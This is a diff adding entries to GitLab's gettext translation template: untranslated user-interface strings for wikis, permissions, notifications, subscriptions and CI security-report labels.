+msgid "WikiPage|Create page"
+msgstr ""
+
+msgid "WikiPage|Format"
+msgstr ""
+
+msgid "WikiPage|Page title"
+msgstr ""
+
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
+msgstr ""
+
+msgid "WikiPage|Write your content or drag files here…"
+msgstr ""
+
+msgid "Wikis"
+msgstr ""
+
+msgid "Wiki|Create New Page"
+msgstr ""
+
+msgid "Wiki|Created date"
+msgstr ""
+
+msgid "Wiki|Edit Page"
+msgstr ""
+
+msgid "Wiki|New page"
+msgstr ""
+
+msgid "Wiki|Page history"
+msgstr ""
+
+msgid "Wiki|Page version"
+msgstr ""
+
+msgid "Wiki|Pages"
+msgstr ""
+
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
+msgid "Wiki|Title"
+msgstr ""
+
+msgid "Wiki|View All Pages"
+msgstr ""
+
+msgid "Wiki|Wiki Pages"
+msgstr ""
+
+msgid "Will be created"
+msgstr ""
+
+msgid "Will be mapped to"
+msgstr ""
+
+msgid "Will deploy to"
+msgstr ""
+
+msgid "With requirements, you can set criteria to check your products against."
+msgstr ""
+
+msgid "With test cases, you can define conditions for your project to meet in determining quality"
+msgstr ""
+
+msgid "Withdraw Access Request"
+msgstr ""
+
+msgid "Won't fix / Accept risk"
+msgstr ""
+
+msgid "Work in progress (open and unassigned)"
+msgstr ""
+
+msgid "Work in progress Limit"
+msgstr ""
+
+msgid "Would you like to create a new branch?"
+msgstr ""
+
+msgid "Would you like to try auto-generating a branch name?"
+msgstr ""
+
+msgid "Write"
+msgstr ""
+
+msgid "Write a comment or drag your files here…"
+msgstr ""
+
+msgid "Write a comment…"
+msgstr ""
+
+msgid "Write a description or drag your files here…"
+msgstr ""
+
+msgid "Write milestone description..."
+msgstr ""
+
+msgid "Write your release notes or drag your files here…"
+msgstr ""
+
+msgid "Wrong extern UID provided. Make sure Auth0 is configured correctly."
+msgstr ""
+
+msgid "Xcode"
+msgstr ""
+
+msgid "YYYY-MM-DD"
+msgstr ""
+
+msgid "Yes"
+msgstr ""
+
+msgid "Yes or No"
+msgstr ""
+
+msgid "Yes, add it"
+msgstr ""
+
+msgid "Yes, close issue"
+msgstr ""
+
+msgid "Yes, delete project"
+msgstr ""
+
+msgid "Yesterday"
+msgstr ""
+
+msgid "You"
+msgstr ""
+
+msgid "You already have pending todo for this alert"
+msgstr ""
+
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
+msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
+msgstr ""
+
+msgid "You are about to permanently delete this project"
+msgstr ""
+
+msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
+msgstr ""
+
+msgid "You are an admin, which means granting access to %{client_name} will allow them to interact with GitLab as an admin as well. Proceed with caution."
+msgstr ""
+
+msgid "You are attempting to delete a file that has been previously updated."
+msgstr ""
+
+msgid "You are attempting to update a file that has changed since you started editing it."
+msgstr ""
+
+msgid "You are connected to the Prometheus server, but there is currently no data to display."
+msgstr ""
+
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to transfer %{project_full_name} to another namespace. Are you ABSOLUTELY sure?"
+msgstr ""
+
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on confidentiality. Only team members with %{strongStart}at least Reporter access%{strongEnd} will be able to see and leave comments on the %{issuableType}."
+msgstr ""
+
+msgid "You are not allowed to approve a user"
+msgstr ""
+
+msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
+msgstr ""
+
+msgid "You are not allowed to reject a user"
+msgstr ""
+
+msgid "You are not allowed to unlink your primary login account"
+msgstr ""
+
+msgid "You are not authorized to delete this site profile"
+msgstr ""
+
+msgid "You are not authorized to perform this action"
+msgstr ""
+
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
+msgid "You are now impersonating %{username}"
+msgstr ""
+
+msgid "You are on a read-only GitLab instance."
+msgstr ""
+
+msgid "You are receiving this message because you are a GitLab administrator for %{url}."
+msgstr ""
+
+msgid "You are signed into GitLab as %{user_link}"
+msgstr ""
+
+msgid "You are trying to upload something other than an image. Please upload a .png, .jpg, .jpeg, .gif, .bmp, .tiff or .ico."
+msgstr ""
+
+msgid "You are using PostgreSQL %{pg_version_current}, but PostgreSQL %{pg_version_minimum} is required for this version of GitLab. Please upgrade your environment to a supported PostgreSQL version, see %{pg_requirements_url} for details."
+msgstr ""
+
+msgid "You can also create a project from the command line."
+msgstr ""
+
+msgid "You can also press Ctrl-Enter"
+msgstr ""
+
+msgid "You can also press ⌘-Enter"
+msgstr ""
+
+msgid "You can also star a label to make it a priority label."
+msgstr ""
+
+msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
+msgstr ""
+
+msgid "You can also upload existing files from your computer using the instructions below."
+msgstr ""
+
+msgid "You can always edit this later"
+msgstr ""
+
+msgid "You can create a new %{link}."
+msgstr ""
+
+msgid "You can create a new %{name} inside this project by sending an email to the following email address:"
+msgstr ""
+
+msgid "You can create a new Personal Access Token by visiting %{link}"
+msgstr ""
+
+msgid "You can create a new SSH key by visiting %{link}"
+msgstr ""
+
+msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
+msgstr ""
+
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
+msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
+msgstr ""
+
+msgid "You can create new ones at your %{pat_link_start}Personal Access Tokens%{pat_link_end} settings"
+msgstr ""
+
+msgid "You can create new ones at your Personal Access Tokens settings %{pat_link}"
+msgstr ""
+
+msgid "You can easily contribute to them by requesting to join these groups."
+msgstr ""
+
+msgid "You can filter by 'days to merge' by clicking on the columns in the chart."
+msgstr ""
+
+msgid "You can find more information about GitLab subscriptions in %{subscriptions_doc_link}."
+msgstr ""
+
+msgid "You can generate an access token scoped to this project for each application to use the GitLab API."
+msgstr ""
+
+msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
+msgstr ""
+
+msgid "You can group test cases using labels. To learn about the future direction of this feature, visit %{linkStart}Quality Management direction page%{linkEnd}."
+msgstr ""
+
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
+
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
+
+msgid "You can invite a new member to %{strong_start}%{group_name}%{strong_end}."
+msgstr ""
+
+msgid "You can invite another group to %{project_name}."
+msgstr ""
+
+msgid "You can move around the graph by using the arrow keys."
+msgstr ""
+
+msgid "You can notify the app / group or a project by sending them an email notification"
+msgstr ""
+
+msgid "You can now close this window."
+msgstr ""
+
+msgid "You can now export your security dashboard to a CSV report."
+msgstr ""
+
+msgid "You can now submit a merge request to get this change into the original branch."
+msgstr ""
+
+msgid "You can now submit a merge request to get this change into the original project."
+msgstr ""
+
+msgid "You can only %{action} files when you are on a branch"
+msgstr ""
+
+msgid "You can only edit files when you are on a branch"
+msgstr ""
+
+msgid "You can only merge once the items above are resolved."
+msgstr ""
+
+msgid "You can only merge once this merge request is approved."
+msgstr ""
+
+msgid "You can only transfer the project to namespaces you manage."
+msgstr ""
+
+msgid "You can only upload one design when dropping onto an existing design."
+msgstr ""
+
+msgid "You can recover this project until %{date}"
+msgstr ""
+
+msgid "You can register runners as separate users, on separate servers, and on your local machine. Register as many runners as you want."
+msgstr ""
+
+msgid "You can resolve the merge conflict using either the Interactive mode, by choosing %{use_ours} or %{use_theirs} buttons, or by editing the files directly. Commit these changes into %{branch_name}"
+msgstr ""
+
+msgid "You can see your chat accounts."
+msgstr ""
+
+msgid "You can set up jobs to only use runners with specific tags. Separate tags with commas."
+msgstr ""
+
+msgid "You can specify notification level per group or per project."
+msgstr ""
+
+msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
+msgstr ""
+
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
+msgid "You cannot access the raw file. Please wait a minute."
+msgstr ""
+
+msgid "You cannot impersonate a blocked user"
+msgstr ""
+
+msgid "You cannot impersonate a user who cannot log in"
+msgstr ""
+
+msgid "You cannot impersonate an internal user"
+msgstr ""
+
+msgid "You cannot make this a shared runner."
+msgstr ""
+
+msgid "You cannot play this scheduled pipeline at the moment. Please wait a minute."
+msgstr ""
+
+msgid "You cannot write to a read-only secondary GitLab Geo instance. Please use %{link_to_primary_node} instead."
+msgstr ""
+
+msgid "You cannot write to this read-only GitLab instance."
+msgstr ""
+
+msgid "You could not create a new trigger."
+msgstr ""
+
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgstr ""
+
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
+msgstr ""
+
+msgid "You do not have an active license"
+msgstr ""
+
+msgid "You do not have any subscriptions yet"
+msgstr ""
+
+msgid "You do not have permission to access deployment frequencies"
+msgstr ""
+
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
+msgid "You do not have permission to leave this %{namespaceType}."
+msgstr ""
+
+msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
+msgstr ""
+
+msgid "You do not have permission to update the environment."
+msgstr ""
+
+msgid "You do not have permissions to run the import."
+msgstr ""
+
+msgid "You don't have any U2F devices registered yet."
+msgstr ""
+
+msgid "You don't have any WebAuthn devices registered yet."
+msgstr ""
+
+msgid "You don't have any active chat names."
+msgstr ""
+
+msgid "You don't have any applications"
+msgstr ""
+
+msgid "You don't have any authorized applications"
+msgstr ""
+
+msgid "You don't have any deployments right now."
+msgstr ""
+
+msgid "You don't have any open merge requests"
+msgstr ""
+
+msgid "You don't have any projects available."
+msgstr ""
+
+msgid "You don't have any recent searches"
+msgstr ""
+
+msgid "You don't have sufficient permission to perform this action."
+msgstr ""
+
+msgid "You don't have write access to the source branch."
+msgstr ""
+
+msgid "You don’t have access to Productivity Analytics in this group"
+msgstr ""
+
+msgid "You don’t have access to Value Stream Analytics for this group"
+msgstr ""
+
+msgid "You have a license that activates at a future date. Please see the License History table below."
+msgstr ""
+
+msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
+msgstr ""
+
+msgid "You have been granted %{access_level} access to the %{source_name} %{source_type}."
+msgstr ""
+
+msgid "You have been granted %{member_human_access} access to %{title} %{name}."
+msgstr ""
+
+msgid "You have been invited"
+msgstr ""
+
+msgid "You have been redirected to the only result; see the %{a_start}search results%{a_end} instead."
+msgstr ""
+
+msgid "You have been unsubscribed from this thread."
+msgstr ""
+
+msgid "You have declined the invitation to join %{title} %{name}."
+msgstr ""
+
+msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
+msgstr ""
+
+msgid "You have insufficient permissions to create a Todo for this alert"
+msgstr ""
+
+msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call rotation from this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove this HTTP integration"
+msgstr ""
+
+msgid "You have insufficient permissions to update an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to update this HTTP integration"
+msgstr ""
+
+msgid "You have insufficient permissions to view shifts for this rotation"
+msgstr ""
+
+msgid "You have no permissions"
+msgstr ""
+
+msgid "You have not added any approvers. Start by adding users or groups."
+msgstr ""
+
+msgid "You have reached your project limit"
+msgstr ""
+
+msgid "You have set up 2FA for your account! If you lose access to your 2FA device, you can use your recovery codes to access your account. Alternatively, if you upload an SSH key, you can %{anchorOpen}use that key to generate additional recovery codes%{anchorClose}."
+msgstr ""
+
+msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
+msgstr ""
+
+msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
+msgstr ""
+
+msgid "You may close the milestone now."
+msgstr ""
+
+msgid "You must be logged in to search across all of GitLab"
+msgstr ""
+
+msgid "You must disassociate %{domain} from all clusters it is attached to before deletion."
+msgstr ""
+
+msgid "You must have developer or higher permissions in the associated project to view job logs when debug trace is enabled. To disable debug trace, set the 'CI_DEBUG_TRACE' variable to 'false' in your pipeline configuration or CI/CD settings. If you need to view this job log, a project maintainer must add you to the project with developer permissions or higher."
+msgstr ""
+
+msgid "You must have maintainer access to force delete a lock"
+msgstr ""
+
+msgid "You must have permission to create a project in a group before forking."
+msgstr ""
+
+msgid "You must have permission to create a project in a namespace before forking."
+msgstr ""
+
+msgid "You must provide a valid current password"
+msgstr ""
+
+msgid "You must provide your current password in order to change it."
+msgstr ""
+
+msgid "You must select a stack for configuring your cloud provider. Learn more about"
+msgstr ""
+
+msgid "You must solve the CAPTCHA in order to submit"
+msgstr ""
+
+msgid "You must upload a file with the same file name when dropping onto an existing design."
+msgstr ""
+
+msgid "You need a different license to enable FileLocks feature"
+msgstr ""
+
+msgid "You need git-lfs version %{min_git_lfs_version} (or greater) to continue. Please visit https://git-lfs.github.com"
+msgstr ""
+
+msgid "You need permission."
+msgstr ""
+
+msgid "You need to register a two-factor authentication app before you can set up a device."
+msgstr ""
+
+msgid "You need to set terms to be enforced"
+msgstr ""
+
+msgid "You need to specify both an Access Token and a Host URL."
+msgstr ""
+
+msgid "You need to upload a GitLab project export archive (ending in .gz)."
+msgstr ""
+
+msgid "You successfully declined the invitation"
+msgstr ""
+
+msgid "You tried to fork %{link_to_the_project} but it failed for the following reason:"
+msgstr ""
+
+msgid "You will be removed from existing projects/groups"
+msgstr ""
+
+msgid "You will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
+msgstr ""
+
+msgid "You will first need to set up Jira Integration to use this feature."
+msgstr ""
+
+msgid "You will lose all changes you've made to this file. This action cannot be undone."
+msgstr ""
+
+msgid "You will lose all uncommitted changes you've made in this project. This action cannot be undone."
+msgstr ""
+
+msgid "You will need to update your local repositories to point to the new location."
+msgstr ""
+
+msgid "You will not get any notifications via email"
+msgstr ""
+
+msgid "You will only receive notifications for the events you choose"
+msgstr ""
+
+msgid "You will only receive notifications for threads you have participated in"
+msgstr ""
+
+msgid "You will receive notifications for any activity"
+msgstr ""
+
+msgid "You will receive notifications only for comments in which you were @mentioned"
+msgstr ""
+
+msgid "You won't be able to create new projects because you have reached your project limit."
+msgstr ""
+
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
+msgstr ""
+
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
+msgid "You'll be signed out from your current account automatically."
+msgstr ""
+
+msgid "You'll need to use different branch names to get a valid comparison."
+msgstr ""
+
+msgid "You're about to reduce the visibility of the project %{strong_start}%{project_name}%{strong_end} in %{strong_start}%{group_name}%{strong_end}."
+msgstr ""
+
+msgid "You're about to reduce the visibility of the project %{strong_start}%{project_name}%{strong_end}."
+msgstr ""
+
+msgid "You're at the first commit"
+msgstr ""
+
+msgid "You're at the last commit"
+msgstr ""
+
+msgid "You're not allowed to %{tag_start}edit%{tag_end} files in this project directly. Please fork this project, make your changes there, and submit a merge request."
+msgstr ""
+
+msgid "You're not allowed to make changes to this project directly. A fork of this project has been created that you can make changes in, so you can submit a merge request."
+msgstr ""
+
+msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
+msgstr ""
+
+msgid "You're receiving this email because of your account on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because of your account on %{host}. %{manage_notifications_link} &middot; %{help_link}"
+msgstr ""
+
+msgid "You're receiving this email because of your activity on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because you have been assigned an item on %{host}."
+msgstr ""
+
+msgid "You're receiving this email because you have been mentioned on %{host}."
+msgstr ""
+
+msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
+msgstr ""
+
+msgid "You've rejected %{user}"
+msgstr ""
+
+msgid "YouTube"
+msgstr ""
+
+msgid "YouTube URL or ID"
+msgstr ""
+
+msgid "Your %{group} membership will now expire in %{days}."
+msgstr ""
+
+msgid "Your %{host} account was signed in to from a new location"
+msgstr ""
+
+msgid "Your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} will expire on %{strong}%{expires_on}%{strong_close}."
+msgstr ""
+
+msgid "Your %{strong}%{plan_name}%{strong_close} subscription will expire on %{strong}%{expires_on}%{strong_close}. After that, you will not be able to create issues or merge requests as well as many other features."
+msgstr ""
+
+msgid "Your CI configuration file is invalid."
+msgstr ""
+
+msgid "Your CSV export has started. It will be emailed to %{email} when complete."
+msgstr ""
+
+msgid "Your CSV export of %{count} from project %{project_link} has been added to this email as an attachment."
+msgstr ""
+
+msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
+msgstr ""
+
+msgid "Your CSV import for project"
+msgstr ""
+
+msgid "Your Commit Email will be used for web based operations, such as edits and merges."
+msgstr ""
+
+msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgstr ""
+
+msgid "Your GPG keys (%{count})"
+msgstr ""
+
+msgid "Your GitLab Ultimate trial will last 30 days after which point you can keep your free GitLab account forever. We just need some additional information to activate your trial."
+msgstr ""
+
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
+msgid "Your GitLab group"
+msgstr ""
+
+msgid "Your Groups"
+msgstr ""
+
+msgid "Your License"
+msgstr ""
+
+msgid "Your Personal Access Token was revoked"
+msgstr ""
+
+msgid "Your Primary Email will be used for avatar detection."
+msgstr ""
+
+msgid "Your Projects (default)"
+msgstr ""
+
+msgid "Your Projects' Activity"
+msgstr ""
+
+msgid "Your Public Email will be displayed on your public profile."
+msgstr ""
+
+msgid "Your SSH key has expired"
+msgstr ""
+
+msgid "Your SSH key was deleted"
+msgstr ""
+
+msgid "Your SSH keys (%{count})"
+msgstr ""
+
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
+msgid "Your To-Do List"
+msgstr ""
+
+msgid "Your U2F device did not send a valid JSON response."
+msgstr ""
+
+msgid "Your U2F device was registered!"
+msgstr ""
+
+msgid "Your Version"
+msgstr ""
+
+msgid "Your WebAuthn device did not send a valid JSON response."
+msgstr ""
+
+msgid "Your WebAuthn device was registered!"
+msgstr ""
+
+msgid "Your access request to the %{source_type} has been withdrawn."
+msgstr ""
+
+msgid "Your account has been deactivated by your administrator. Please log back in to reactivate your account."
+msgstr ""
+
+msgid "Your account is locked."
+msgstr ""
+
+msgid "Your account uses dedicated credentials for the \"%{group_name}\" group and can only be updated through SSO."
+msgstr ""
+
+msgid "Your applications (%{size})"
+msgstr ""
+
+msgid "Your authorized applications"
+msgstr ""
+
+msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
+msgstr ""
+
+msgid "Your browser doesn't support WebAuthn. Please use a supported browser, e.g. Chrome (67+) or Firefox (60+)."
+msgstr ""
+
+msgid "Your changes can be committed to %{branch_name} because a merge request is open."
+msgstr ""
+
+msgid "Your changes have been committed. Commit %{commitId} %{commitStats}"
+msgstr ""
+
+msgid "Your changes have been saved"
+msgstr ""
+
+msgid "Your changes have been successfully committed."
+msgstr ""
+
+msgid "Your comment could not be submitted because %{error}"
+msgstr ""
+
+msgid "Your comment could not be submitted! Please check your network connection and try again."
+msgstr ""
+
+msgid "Your comment could not be updated! Please check your network connection and try again."
+msgstr ""
+
+msgid "Your comment will be discarded."
+msgstr ""
+
+msgid "Your custom stage '%{title}' was created"
+msgstr ""
+
+msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
+msgstr ""
+
+msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
+msgstr ""
+
+msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
+msgstr ""
+
+msgid "Your device is not compatible with GitLab. Please try another device"
+msgstr ""
+
+msgid "Your device needs to be set up. Plug it in (if needed) and click the button on the left."
+msgstr ""
+
+msgid "Your device was successfully set up! Give it a name and register it with the GitLab server."
+msgstr ""
+
+msgid "Your file must contain a column named %{codeStart}title%{codeEnd}. A %{codeStart}description%{codeEnd} column is optional. The maximum file size allowed is 10 MB."
+msgstr ""
+
+msgid "Your first project"
+msgstr ""
+
+msgid "Your groups"
+msgstr ""
+
+msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
+msgstr ""
+
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
+msgid "Your instance is approaching its licensed user count"
+msgstr ""
+
+msgid "Your issues are being imported. Once finished, you'll get a confirmation email."
+msgstr ""
+
+msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
+msgstr ""
+
+msgid "Your license does not support on-call rotations"
+msgstr ""
+
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
+msgid "Your license is valid from"
+msgstr ""
+
+msgid "Your license was successfully synced."
+msgstr ""
+
+msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
+msgstr ""
+
+msgid "Your membership in %{group} no longer expires."
+msgstr ""
+
+msgid "Your message here"
+msgstr ""
+
+msgid "Your name"
+msgstr ""
+
+msgid "Your new %{type}"
+msgstr ""
+
+msgid "Your new SCIM token"
+msgstr ""
+
+msgid "Your new personal access token has been created."
+msgstr ""
+
+msgid "Your new project access token has been created."
+msgstr ""
+
+msgid "Your password isn't required to view this page. If a password or any other personal details are requested, please contact your administrator to report abuse."
+msgstr ""
+
+msgid "Your password reset token has expired."
+msgstr ""
+
+msgid "Your personal access token has expired"
+msgstr ""
+
+msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
+msgstr ""
+
+msgid "Your profile"
+msgstr ""
+
+msgid "Your project limit is %{limit} projects! Please contact your administrator to increase it"
+msgstr ""
+
+msgid "Your projects"
+msgstr ""
+
+msgid "Your request for access could not be processed: %{error_meesage}"
+msgstr ""
+
+msgid "Your request for access has been queued for review."
+msgstr ""
+
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
+msgid "Your requirements will be imported in the background. Once it's finished, you'll get a confirmation email. "
+msgstr ""
+
+msgid "Your response has been recorded."
+msgstr ""
+
+msgid "Your search didn't match any commits."
+msgstr ""
+
+msgid "Your search didn't match any commits. Try a different query."
+msgstr ""
+
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
+msgid "Your subscription expired!"
+msgstr ""
+
+msgid "Your subscription has been downgraded."
+msgstr ""
+
+msgid "Your subscription will expire in %{remaining_days}."
+msgstr ""
+
+msgid "Your username is %{username}."
+msgstr ""
+
+msgid "Zoom meeting added"
+msgstr ""
+
+msgid "Zoom meeting removed"
+msgstr ""
+
+msgid "[No reason]"
+msgstr ""
+
+msgid "[Redacted]"
+msgstr ""
+
+msgid "`end_time` should not exceed one month after `start_time`"
+msgstr ""
+
+msgid "`start_time` should precede `end_time`"
+msgstr ""
+
+msgid "a deleted user"
+msgstr ""
+
+msgid "a design"
+msgstr ""
+
+msgid "about 1 hour"
+msgid_plural "about %d hours"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "access:"
+msgstr ""
+
+msgid "added %{created_at_timeago}"
+msgstr ""
+
+msgid "added %{emails}"
+msgstr ""
+
+msgid "added a Zoom call to this issue"
+msgstr ""
+
+msgid "ago"
+msgstr ""
+
+msgid "alert"
+msgstr ""
+
+msgid "allowed to fail"
+msgstr ""
+
+msgid "already being used for another group or project %{timebox_name}."
+msgstr ""
+
+msgid "already has a \"created\" issue link"
+msgstr ""
+
+msgid "already shared with this group"
+msgstr ""
+
+msgid "among other things"
+msgstr ""
+
+msgid "and"
+msgstr ""
+
+msgid "any-approver for the merge request already exists"
+msgstr ""
+
+msgid "any-approver for the project already exists"
+msgstr ""
+
+msgid "approved by: "
+msgstr ""
+
+msgid "archived"
+msgstr ""
+
+msgid "archived:"
+msgstr ""
+
+msgid "as %{role}."
+msgstr ""
+
+msgid "assign yourself"
+msgstr ""
+
+msgid "at"
+msgstr ""
+
+msgid "at risk"
+msgstr ""
+
+msgid "attach a new file"
+msgstr ""
+
+msgid "authored"
+msgstr ""
+
+msgid "blocks"
+msgstr ""
+
+msgid "branch name"
+msgstr ""
+
+msgid "by"
+msgstr ""
+
+msgid "cURL:"
+msgstr ""
+
+msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
+msgstr ""
+
+msgid "can't be enabled because signed commits are required for this project"
+msgstr ""
+
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
+msgid "cannot be a date in the past"
+msgstr ""
+
+msgid "cannot be changed"
+msgstr ""
+
+msgid "cannot be changed if a personal project has container registry tags."
+msgstr ""
+
+msgid "cannot be changed if shared runners are enabled"
+msgstr ""
+
+msgid "cannot be enabled because parent group does not allow it"
+msgstr ""
+
+msgid "cannot be enabled because parent group has shared Runners disabled"
+msgstr ""
+
+msgid "cannot be enabled unless all domains have TLS certificates"
+msgstr ""
+
+msgid "cannot be modified"
+msgstr ""
+
+msgid "cannot block others"
+msgstr ""
+
+msgid "cannot contain HTML/XML tags, including any word between angle brackets (&lt;,&gt;)."
+msgstr ""
+
+msgid "cannot include leading slash or directory traversal."
+msgstr ""
+
+msgid "cannot itself be blocked"
+msgstr ""
+
+msgid "cannot merge"
+msgstr ""
+
+msgid "child-pipeline"
+msgstr ""
+
+msgid "ciReport|%{degradedNum} degraded"
+msgstr ""
+
+msgid "ciReport|%{improvedNum} improved"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about API Fuzzing%{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Container Scanning %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Coverage Fuzzing %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about DAST %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Dependency Scanning %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about SAST %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about Secret Detection %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{linkStartTag}Learn more about codequality reports %{linkEndTag}"
+msgstr ""
+
+msgid "ciReport|%{remainingPackagesCount} more"
+msgstr ""
+
+msgid "ciReport|%{reportType} is loading"
+msgstr ""
+
+msgid "ciReport|%{reportType}: Loading resulted in an error"
+msgstr ""
+
+msgid "ciReport|%{sameNum} same"
+msgstr ""
+
+msgid "ciReport|: Loading resulted in an error"
+msgstr ""
+
+msgid "ciReport|API Fuzzing"
+msgstr ""
+
+msgid "ciReport|API fuzzing"
+msgstr ""
+
+msgid "ciReport|All projects"
+msgstr ""
+
+msgid "ciReport|All scanners"
+msgstr ""
+
+msgid "ciReport|All severities"
+msgstr ""
+
+msgid "ciReport|Automatically apply the patch in a new branch"
+msgstr ""
+
+msgid "ciReport|Base pipeline codequality artifact not found"
+msgstr ""
+
+msgid "ciReport|Browser performance test metrics: "
+msgstr ""
+
+msgid "ciReport|Browser performance test metrics: No changes"
+msgstr ""
+
+msgid "ciReport|Checks"
+msgstr ""
+
+msgid "ciReport|Code quality"
+msgstr ""
+
+msgid "ciReport|Container Scanning"
+msgstr ""
+
+msgid "ciReport|Container scanning"
+msgstr ""
+
+msgid "ciReport|Container scanning detects known vulnerabilities in your docker images."
+msgstr ""
+
+msgid "ciReport|Coverage Fuzzing"
+msgstr ""
+
+msgid "ciReport|Coverage fuzzing"
+msgstr ""
+
+msgid "ciReport|Create Jira issue"
+msgstr ""
+
+msgid "ciReport|Create a merge request to implement this solution, or download and apply the patch manually."
+msgstr ""
+
+msgid "ciReport|Create issue"
+msgstr ""
+
+msgid "ciReport|DAST"
+msgstr ""
+
+msgid "ciReport|Dependency Scanning"
+msgstr ""
+
+msgid "ciReport|Dependency Scanning detects known vulnerabilities in your source code's dependencies."
+msgstr ""
+
+msgid "ciReport|Dependency scanning"
+msgstr ""
+
+msgid "ciReport|Download patch to resolve"
+msgstr ""
+
+msgid "ciReport|Download the patch to apply it manually"
+msgstr ""
+
+msgid "ciReport|Dynamic Application Security Testing (DAST) detects known vulnerabilities in your web application."
+msgstr ""
+
+msgid "ciReport|Failed to load %{reportName} report"
+msgstr ""
